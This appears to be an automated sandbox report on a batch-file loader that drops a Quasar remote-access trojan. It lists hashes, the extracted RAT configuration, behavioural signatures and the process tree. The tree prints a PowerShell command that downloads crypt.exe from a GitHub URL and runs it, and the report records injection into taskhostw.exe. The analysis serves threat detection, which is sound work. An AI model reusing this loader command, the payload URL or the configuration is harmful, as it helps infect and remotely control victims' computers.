Analysis
- user interaction
yes - max time kernel
58s - max time network
62s - platform
windows10-2004_x64 - resource
win10v2004-20260513-en - resource tags
arch:x64arch:x86image:win10v2004-20260513-enlocale:en-usos:windows10-2004-x64systemwindows - submitted
20/08/2026, 03:10
Static task
static1
Behavioral task
behavioral1
Sample
actualratlocalhost.bat
Resource
win10v2004-20260513-en
14 signatures
120 seconds
Behavioral task
behavioral2
Sample
actualratlocalhost.bat
Resource
win10ltsc2021-20260513-en
6 signatures
120 seconds
Behavioral task
behavioral3
Sample
actualratlocalhost.bat
Resource
win11-20260513-en
13 signatures
120 seconds
General
- Target actualratlocalhost.bat
- Size 276B
- Sample260820-dpbnfabb63
- SHA256 013cba85c0eabdd038bccf32e7aac9eb59322ee115a32a1f594fd9776466bc7d
- MD5 27ca6fa65fea751290548f6d3fc62b6e
- SHA1 3f7369be4d3383b025dfb66f0f3b09a085b5e7c7
- SHA512 8d4fdfb2f48537f4318c026e7c206f0e509cd43465311f42422c09ea67be49df3fa61793b5648828d8bf78668423ae10737ec3c9a458bcb5b2508c1eefcd9ab0
- TLSH T1BFD02B2F53545B0CCD5243554DADD42E618FC5C45640ABFF16BC241E6C5496D43CF019
- MD5 SHA1 SHA512 TLSH
Malware Config
Extracted
Family
-
quasar
Attributes
-
encryption_key
F3752C59B2D3B587D1C5FB8FB57F0225554558A4
-
key_salt
5a23f8394640cb9e40658446a04c0bbae82dc93d0470e1b2a406a90fd2520382
-
reconnect_delay
3000
Signatures
- Quasar payload 1 IoCs
resource yara_rule behavioral1/memory/1224-30-0x0000018C66D30000-0x0000018C66E24000-memory.dmp family_quasar - Badlisted process makes network request 3 IoCs
Network request originating from process or tool commonly abused by malware.
flow pid Process 6 3696 powershell.exe 8 3696 powershell.exe 11 3696 powershell.exe -
pid Process 3696 powershell.exe - Downloads MZ/PE file 1 IoCs
flow pid Process 11 3696 powershell.exe - Executes dropped EXE 2 IoCs
pid Process 3940 crypt.exe 1224 taskhostw.exe - Contacts third-party web service commonly abused for C2 1 TTPs 2 IoCs
Legitimate web (hosting) services can be abused by malware authors to host malware or C2s.
flow ioc 7 raw.githubusercontent.com 11 raw.githubusercontent.com - Suspicious use of SetThreadContext 3 IoCs
description pid Process procid_target PID 3940 set thread context of 1224 3940 crypt.exe 53 PID 3940 set thread context of 1224 3940 crypt.exe 53 PID 3940 set thread context of 1224 3940 crypt.exe 53 - Executes a command shell one-liner 1 TTPs 1 IoCs
Execution of a cmd.exe one-liner (/c "close" or /k "keep") is a common script/loader stage.
pid Process 2808 cmd.exe - Suspicious behavior: AddClipboardFormatListener 1 IoCs
pid Process 1224 taskhostw.exe - Suspicious behavior: EnumeratesProcesses 4 IoCs
pid Process 3696 powershell.exe 3696 powershell.exe 3940 crypt.exe 3940 crypt.exe - Suspicious behavior: MapViewOfSection 1 IoCs
pid Process 3940 crypt.exe - Suspicious use of AdjustPrivilegeToken 2 IoCs
description pid Process Token: SeDebugPrivilege 3696 powershell.exe Token: SeDebugPrivilege 1224 taskhostw.exe - Suspicious use of WriteProcessMemory 2 IoCs
description pid Process procid_target PID 2808 wrote to memory of 3696 2808 cmd.exe 88 PID 2808 wrote to memory of 3940 2808 cmd.exe 92
Processes
-
C:\Windows\system32\taskhostw.exetaskhostw.exe {222A245B-E637-4AE9-A93F-A59CA119A75E}1⤵
- Executes dropped EXE
- Suspicious behavior: AddClipboardFormatListener
- Suspicious use of AdjustPrivilegeToken
PID:1224
-
C:\Windows\system32\cmd.exeC:\Windows\system32\cmd.exe /c "C:\Users\Admin\AppData\Local\Temp\actualratlocalhost.bat"1⤵
- Executes a command shell one-liner
- Suspicious use of WriteProcessMemory
PID:2808 -
C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exepowershell -Command "Invoke-WebRequest -Uri 'https://github.com/ndoug2081-stack/ndoug2081-stack/raw/refs/heads/main/crypt.exe' -OutFile 'C:\ProgramData\crypt.exe'"2⤵
- Badlisted process makes network request
- Command and Scripting Interpreter: PowerShell
- Downloads MZ/PE file
- Suspicious behavior: EnumeratesProcesses
- Suspicious use of AdjustPrivilegeToken
PID:3696
-
-
C:\ProgramData\crypt.exe"C:\ProgramData\crypt.exe"2⤵
- Executes dropped EXE
- Suspicious use of SetThreadContext
- Suspicious behavior: EnumeratesProcesses
- Suspicious behavior: MapViewOfSection
PID:3940
-
Network
MITRE ATT&CK Enterprise v16
Replay Monitor
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Downloads
- Path C:\ProgramData\crypt.exe
- Size 2.2MB
- SHA256 6a586c3a907c55524d3652fd97615088212f657f3c84c428c24a05d36c9a6e5d
- MD5 59ddd8e77dbe4076a81003b458be39c8
- SHA1 1535742d2d31055c9c08c70cc83001393fb97984
- SHA512 4d1d457cd97898ba367bcf0058bb0b10391f61a0f31e11933b43e72be2631f7fcf542ef62793d2e450ea78642b10c829f1daeb3af55f49cc88cf9b3cb0e04770
- SSDEEP 24576:2uXz+xzK+vb1WaECgo728B3ntuRf9Bo8hYAv:22zAzK+brsqjnMtHhd
- TLSH T154A52345FBE0A6FCC337A63442B2E016ACB6F40052297D68D364F935AFB2E25A53DD14
- MD5 SHA1 SHA512 SSDEEP TLSH
- Path C:\Users\Admin\AppData\Local\Temp\__PSScriptPolicyTest_nriqfdly.kaq.ps1
- Size 60B
- SHA256 96ad1146eb96877eab5942ae0736b82d8b5e2039a80d3d6932665c1a4c87dcf7
- MD5 d17fe0a3f47be24a6453e9ef58c94641
- SHA1 6ab83620379fc69f80c0242105ddffd7d98d5d9d
- SHA512 5b592e58f26c264604f98f6aa12860758ce606d1c63220736cf0c779e4e18e3cec8706930a16c38b20161754d1017d1657d35258e58ca22b18f5b232880dec82
- TLSH T177A02228CC303B200020C0080A000002C00B800C080C8C0220000A00B20B820002F080
- MD5 SHA1 SHA512 TLSH
- Path C:\Users\Admin\AppData\Local\Temp\ke050B85E0.tmp
- Size 8KB
- SHA256 2fdb8312a48e7f7594022c53bcc85f53964fbd7f1553bf2da74d7efade172819
- MD5 79833e8eae858163fce37c3b3570c22e
- SHA1 1a3ed473a0085d01a19890889b0946ea8c77203e
- SHA512 beacfb712747ae15891cb1f5cf6caad8e2dd31b57577f9037661cd4ec1efc7152e5d2dc76e814e52f1186ac1867c4f6952e5893f0febfac209df7c9504abeb64
- SSDEEP 48:SAf4tXBYQQ+Y+Y4kztph5l/1+JWZTJehyOZt5e1W+u2l8jjWopY8Mzb6qjqtfVpv:d2fYzt/UdNcipRMFC0SJS4R6G
- TLSH T17DF12C82FB2219A5CE09C1749213E5B9EC7C7D14957A6EA0FB416B1737B3F14459CF40
- MD5 SHA1 SHA512 SSDEEP TLSH